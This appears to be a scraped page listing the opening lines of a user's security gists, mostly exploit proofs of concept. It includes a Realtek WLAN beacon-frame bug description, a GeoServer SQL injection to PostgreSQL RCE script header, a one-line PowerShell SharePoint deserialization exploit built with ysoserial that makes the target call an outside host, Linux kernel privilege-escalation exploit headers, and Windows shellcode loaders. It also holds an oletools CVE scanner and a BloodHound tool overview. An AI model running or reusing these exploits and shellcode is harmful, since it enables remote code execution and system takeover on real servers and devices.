emdnaia

Description

This PoC exploits a bug in the Realtek AmebaZ, Z2 and Z2Plus SDKs for the RTL87xxxx SoC family. For example (non exhaustive):

• RTL8710BN
• RTL8710BX
• RTL8720CF

The vulnerability is in the MLME code compiled into the SDK's static WLAN libraries, e.g. lib_wlan.a and lib_wlan_z2plus.a. Affected code path is reachable when both of these conditions are satisfied:

1. Target device is already associated to an AP as a STA. Most common deployment for IoT/smart devices using these SoCs.
2. Attacker spoofs a crafted 802.11 beacon frame as if it's sent by the AP that the device is associated to. Matching is done by comparing the sender's MAC to the AP's BSSID. Easy to do - beacon frames are unencrypted management frames.

emdnaia

#!/usr/bin/env python3
"""
GeoServer jsonArrayContains SQLi -> PostgreSQL RCE / SQL / exfiltration PoC

GeoTools FilterToSqlHelper.constructEquality writes the `expected` argument of
jsonArrayContains RAW into the SQL string (only the JSON pointer is escaped):

    jsonb_path_exists("data"::jsonb, '$ ? (@.a == "<VALUE>")')

A single quote in VALUE breaks out of the string literal, closes the call

emdnaia

//
//  dotdot.m
//  dotdot
//
//  Created by roooot on 03.08.26.
//  Copyright (C) 2026 roooot
//
//  This program is free software: you can redistribute it and/or modify
//  it under the terms of the GNU Affero General Public License as published
//  by the Free Software Foundation, either version 3 of the License, or

emdnaia

$n=[Guid]::NewGuid().ToString('N');$cb="http://remote/spse-cookie-rce-$n";$tmp="$env:TEMP\$n.bin";$cmd="powershell.exe -NoProfile -NonInteractive -Command Invoke-WebRequest -UseBasicParsing '$cb'";& 'ysoserial.exe' -g TypeConfuseDelegate -f BinaryFormatter -o raw -c $cmd --outputpath $tmp|Out-Null;Add-Type -AssemblyName System.IdentityModel;$raw=[IO.File]::ReadAllBytes($tmp);$cookie=[Convert]::ToBase64String(([System.IdentityModel.DeflateCookieTransform]::new()).Encode($raw));$token="<sc:SecurityContextToken xmlns:sc='http://schemas.xmlsoap.org/ws/2005/02/sc'><sc:Identifier>urn:unique-id:securitycontext:$n</sc:Identifier><Cookie xmlns='http://schemas.microsoft.com/ws/2006/05/security'>$cookie</Cookie></sc:SecurityContextToken>";$rstr="<t:RequestSecurityTokenResponse xmlns:t='http://schemas.xmlsoap.org/ws/2005/02/trust'><t:RequestedSecurityToken>$token</t:RequestedSecurityToken></t:RequestSecurityTokenResponse>";Write-Host "Callback: $cb";try{Invoke-WebRequest 'http://TARGET/_trust/default.aspx' -Method Post -

emdnaia

🐕 BloodHound Ecosystem

A structured overview of the BloodHound attack-path analysis ecosystem — official ingestors, community collectors, converters, ADWS alternatives, analysis tools, deployment helpers, and supporting frameworks.

Legend

• 🟢 Official — maintained by SpecterOps
• 🔵 Community — third-party / unofficial

emdnaia

/*
 * gro_frag.c — LPE via GRO managed-frag UAF (io_uring SEND_ZC + veth)
 *
 * The bug: skb_gro_receive() copies frag descriptors from a ZC skb
 * (SKBFL_MANAGED_FRAG_REFS → no per-frag page refs) into a non-ZC
 * GRO accumulator.  When the accumulator is freed, skb_release_data()
 * calls put_page() on each frag — including the stolen ones that never
 * had get_page() called.  This gives us one extra put_page per merged
 * ZC frag: a refcount underflow.
 *

emdnaia

/*
 * sockmap_lpe_ktls.c — full LPE via kTLS + sockmap page cache corruption
 *
 * https://lore.kernel.org/stable/20260517121626.406516-1-rollkingzzc@gmail.com/
 *
 * Works on ALL kernels 4.18+ (including 6.5+ where sendpage was removed).
 *
 * Chain: sendfile → tls_sw_sendmsg(MSG_SPLICE_PAGES)
 *        → tls_sw_sendmsg_splice → sk_msg_page_add(msg_pl, page)
 *        → bpf_exec_tx_verdict(msg_pl)

emdnaia

# script to scan MS Office files, looking for "Shell.Explorer" OLE objects which could match CVE-2026-21509
# using oletools - https://github.com/decalage2/oletools
# Philippe Lagadec 2026-01-28

# NOTES:
# According to the MS advisory https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21509
# the CVE-2026-21509 vulnerability is related to CLSID "EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B",
# corresponding to the "Shell.Explorer" COM object, which can be used to open the legacy
# Internet Explorer engine (aka Trident/MSHTML) from any application.
# So to exploit CVE2026-21509 from a MS Office document, one could use either an OLE object

emdnaia

#include <windows.h>
#include <wininet.h>
#include <stdio.h>

#pragma comment(lib, "wininet.lib")

// notepad.exe shellcode
char shellcode[] =  {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
    0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52,

emdnaia

#include <stdio.h>
#include <windows.h>

// Shellcode template from: https://gist.github.com/kkent030315/b508e56a5cb0e3577908484fa4978f12
// Compile using: x86_64-w64-mingw32-gcc -m64 enclave.c -o enclace.exe -lntdll

EXTERN_C NTSYSAPI
NTSTATUS
NTAPI LdrCallEnclave(
	_In_ PENCLAVE_ROUTINE Routine,